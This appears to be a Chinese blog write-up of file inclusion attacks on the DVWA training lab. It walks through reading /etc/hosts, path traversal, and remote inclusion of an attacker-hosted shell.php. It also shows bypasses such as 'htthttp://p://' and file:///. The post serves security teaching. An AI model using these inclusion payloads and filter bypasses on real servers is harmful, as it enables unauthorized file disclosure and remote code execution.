dvwa中的文件包含攻击
创始人
2024-05-13 10:26:21
0

环境:

dvwa: 192.168.11.135 dvwa版本: Version 1.9 (Release date: 2015-09-19)

kail机器:192.168.11.156

一、什么是文件包含漏洞?

为简化代码,会把重复的code内容单独写到一个页面文件,然后再需要调用重复内容的页面中使用include方法来包含重复代码的页面就可以了。

使用include方法可以让当前页面去执行指定的另外一个文件中的代码内容。若没有对这种行为做限制,那么黑客将很有可能让当前页面去执行超出 Web 目录中的文件或者是 Web 目录中不希望被执行的敏感文件,甚至是远程服务器上的文件。比如黑客使用 include 方法去调用 Linux 系统中的 /etc/passwd,就会在当前页面中显示系统中的用户信息;或者黑客自己搭建 Web 服务器,在自己的服务器上写一个 Webshell,然后通过 include 方法在目标页面中执行本地服务器中的 Webshell。

几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在php中居多,而在jsp\ASP\ASP.NETC程序中非常少,甚至没有文件包含漏洞的存在。

原理:服务器解析执行php文件时能通过包含函数加载另外一个文件中的php代码,当被包含的文件中存在木马时,木马程序会在服务器上加载执行。

下面介绍php的四种文件包含函数:

  • require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本

  • require_once():功能与requir()相同区别在于当重复调用一个文件时,程序只调用一次

  • include():执行到include()函数时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行

  • include_once():功能和includ()相同,区别当重复调用一个文件时,程序只调用一次

  • nighcight_file(),show_source()函数对文件进行语法高亮显示,通常能看到源代码

  • readfile(),file_get_contents()函数读取一个文件,并写入输出缓冲

  • fopen(),打开一个文件或者url

文件包含漏洞包括本地文件包含漏洞和远程文件包含漏洞:

  • 本地文件包含漏洞指的是包含本地的php文件;

  • 远程文件包含漏洞包含的是其它服务器上的php文件。需要满足两个条件在php.ini中。当php.ini中的配置选项allow_url_fopen:on allow_url_include:on,对方开启这两个配置时才可以使用。

dvwa: 192.168.11.135 环境开启了:

二、演示dvwa上的文件包含漏洞

2.1、low级别

源码:

1、安全级别设置为Low,点击 File Inclusion 按钮,进入文件包含攻击页面。页面中有 3 个文件链接:

点击后会读取出系统的相关信息,说明这 3 个文件内含有读取相关系统信息的脚本代码,被包含进当前页面执行了。

当前的 URL 显示了 http://192.168.11.135:81/vulnerabilities/fi/?page=后就是被包含的文件名 file3.php。

2、考虑到我们当前 Web 服务器(dvwa)是使用的 docker容器(Linux),把 URL 中的文件名替换为 /etc/hosts,发现可以通过绝对路径直接显示 hosts 文件中的内容:

3、使用相对路径 ../../phpinfo.php 来替换 URL 中的包含文件名,可以执行 DVWA 程序自带的 phpinfo 信息。当前目录是vulnerabilities/fi/,向上返回2层,就到了 /,所以 ../../phpinfo.php就是指 /phpinfo.php 这个文件

4、在kali攻击机上自行搭建一个 Web 服务(sudo service apache2 start),在 Web 根目录/var/www/html下写入一个 shell.php 文件(内容:),用来显示 PHPINFO:

使用http://192.168.11.156/shell.php来替换原 URL 中包含的文件名,可以远程执行 PHP 脚本:

2.2、medium级别

1、安全级别设置为 Medium,进入文件包含攻击页面,查看源码:

发现使用 str_replace() 函数把 http://、https://、../、..\ 替换为了空值,来防止远程文件包含和相对路径的文件包含。但是str_replace() 函数相当不安全,只做一次替换,比如在 http:// 中再嵌套一个 http:// 则可以绕过限制;另外,并没有对绝对路径的文件包含进行防护。

2、绝对路径与相对路径的文件包含攻击

使用绝对路径 /etc/hosts 的文件包含,不受任何影响:

使用相对路径 ../../phpinfo.php 进行文件包含不被允许:

使用相对路径进行文件包含不被允许,但可以通过在../中多嵌套一个../绕过,在 URL 中输入包含的文件名为..././..././phpinfo.php,可以成功执行:

3、使用远程文件包含,需要在 http:// 中多嵌套一个 http://,在 URL 中输入包含的文件名为htthttp://p://192.168.11.156/shell.php,可以成功执行

2.3、High级别

1、安全级别设置为 High,进入文件包含攻击页面,查看源码:

发现使用 fnmatch() 函数来检查变量 page 值的开头必须是 file或者file是include.php文件,否则就不执行。

2、可以利用 file 协议来绕过防御。使用 file 协议可以来描述一个文件的绝对路径。我们这里在 URL 中输入包含的文件名为file:///etc/hosts,可以成功输出文件内容

2.4、Impossible级别

1、安全级别设置为 Impossible,进入文件包含攻击页面,查看源码:

发现使用了白名单机制,提交的page 变量只能是include.php、file1.php,file2.php,file3.php这四个文件,否则就不执行,彻底杜绝了文件包含漏洞。

相关内容

热门资讯

中秋晚会主持稿 中秋晚会主持稿(精选5篇)  又到了一个激动人心的好日子!中秋合家团圆,是中华民族的传统习俗。下面是...
男孩满月酒主持词 男孩满月酒主持词  主持词要注意活动对象,针对活动对象写相应的主持词。在各种集会、活动不断增多的社会...
婚礼司仪主持词简短版 婚礼司仪主持词简短版  借鉴诗词和散文诗是主持词的一种写作手法。在人们积极参与各种活动的今天,各种集...
培训主持词 【精华】培训主持词八篇  借鉴诗词和散文诗是主持词的一种写作手法。在当今不断发展的世界,很多晚会、集...
婚礼主持词完整版 2017婚礼主持词(完整版)  无论新人举行什么样形式的婚礼,婚礼主持人是必不能少的。那么婚礼司仪全...
《哈利波特》的经典语录台词 《哈利波特》的经典语录台词  “就看你的了,哈利,要使他们看到,作为一名找球手,单靠一个有钱的爸爸是...
前任2备胎反击战经典台词 前任2备胎反击战经典台词  1、一见钟情太肤浅,日久生情才是真。  2、再深的感情也敌不过缘分的交错...
生日宴会主持词开场白 生日宴会主持词开场白(精选19篇)  【导语】一个好的活动开展,主持人的开场一定要和活动的主题相契合...
大学军训汇报表演主持词 大学军训汇报表演主持词  军训汇演是必不可少的,下面unjs小编整理了大学军训汇报表演主持词,欢迎阅...
闭幕词 闭幕词(通用10篇)  闭幕词,是会议的主要领导人代表会议举办单位,在会议闭幕时的讲话。其内容一般是...
班歌串词 班歌串词尊敬的领导、亲爱的同学们:大家上午好!(合)请全体起来,齐唱《美佛儿校歌》请坐!今天我们隆重...
幼儿园元旦活动主持词开场白   一、主持人开场白:  (亲爱的爸爸妈妈,小朋友们,大家新年好!因为您的孩子,我们走到了一起,形成...
生日主持主持词 精选生日主持主持词4篇  主持词要尽量增加文化内涵、寓教于乐,不断提高观众的文化知识和素养。在如今这...
开业庆典主持词 开业庆典主持词  什么是主持词?  主持词是主持人对各种晚会背诵已经准备好的稿子,或眼看提示器说出,...
新职工欢迎会主持词 新职工欢迎会主持词  主持词已成为各种演出活动和集会中不可或缺的一部分。在当下的中国社会,主持人的需...
颁奖晚会主持词 颁奖晚会主持词集合7篇  主持词可以采用和历史文化有关的表述方法去写作以提升活动的文化内涵。随着社会...
最新员工激励大会主持词 最新员工激励大会主持词  根据活动对象的不同,需要设置不同的主持词。在现今人们越来越重视活动氛围的社...
七十大寿主持词 精选七十大寿主持词3篇  主持词要把握好吸引观众、导入主题、创设情境等环节以吸引观众。在当今社会中,...
老年大学太极专业联欢会主持词 老年大学太极专业联欢会主持词  老年大学太极专业联欢会主持词    尊敬的校领导,尊敬的*老师,亲爱...
公司年会主持词、活动内容 公司年会主持词、活动内容女:歌声袅袅辞旧岁男:舞姿翩翩贺新春 尊敬的各位来宾女:亲爱的同事们合:大家...